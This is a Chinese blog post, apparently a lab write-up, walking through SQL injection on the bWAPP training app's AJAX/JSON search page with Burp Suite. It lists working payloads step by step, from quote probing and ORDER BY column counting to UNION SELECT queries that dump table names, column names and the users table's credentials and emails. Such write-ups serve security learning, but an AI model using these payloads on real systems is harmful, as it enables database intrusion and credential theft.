1. 程式人生 > >SQL註入之bWAPP之sqli_10-1.php

SQL註入之bWAPP之sqli_10-1.php

sqli_10-1.php

SQL註入(AJAX/JSON/jQuery),需要知道ajax的作用,之前Google後,大概就流程是:當前頁提交的數據會先到ajax進行處理,然後在傳到服務器。這就需要使用burpsuit,可以看到抓包內容的referer項是當前網頁提交的內容,GET頭提交的是ajax處理後要發往服務器請求。大致是這樣,如果有什麽不對,請指出,以免我誤導他人,謝謝。

接下來開始註入了。

1、打開burpsuit,在瀏覽器裏搜索框中輸入1,然後提交,抓住數據包。結果如圖:
技術分享圖片
2、在數據包頭的URI部分輸入“title=1‘”,然後發送,結果如圖:
技術分享圖片
技術分享圖片
然後發送到Repeater。
3、判斷是什麽類型註入
先輸入“title=1%‘and‘%‘=‘”,發現返回數據沒有報錯,把“1”換成“i”,發現返回正常數據;因為鋼鐵俠(iron man)有“i”,所以可以正常返回。結果如圖:

技術分享圖片

4、判斷字段數:
輸入“title=1%‘+order+by+7+--+”,返回正常;輸入“title=1%‘+order+by+8+--+”,返回錯誤;burpsuit的空格需要用“+”表示。結果如下圖:
技術分享圖片
技術分享圖片

查看一下,輸入“title=1%‘union+select+1,2,3,4,5,6,7+--+”,結果如圖:
技術分享圖片

5、查詢數據庫等信息:
輸入“title=1%‘union+select+1,2,3,4,5,6,group_concat(database(),"||",version(),"||",user())+--+”,查詢數據庫名、數據庫版本、當前用戶,結果如圖:

技術分享圖片

數據庫名為“bwapp”,數據庫版本“5.5.53”,當前用戶“root@localhost”。
6、查詢表名:
輸入“title=1%‘union+select+1,2,3,4,5,6,table_name+from+information_schema.tables+where+table_schema=‘bwapp‘+--+”,發現較重要的表名為users。結果如圖:
技術分享圖片

7、查詢字段名:
輸入“title=1%‘union+select+1,2,3,4,5,6,column_name+from+information_schema.columns+where+table_name=‘users‘+--+”,發現較重要的字段名有“admin、password、email”,結果如圖:

技術分享圖片

8、查詢字段內容:
輸入“title=1%‘union+select+1,2,3,4,5,6,group_concat(admin,"||",password,"||",email)+from+users+--+”,結果如圖:
技術分享圖片

好像講的很簡單,有什麽問題可以一起討論啊。

SQL註入之bWAPP之sqli_10-1.php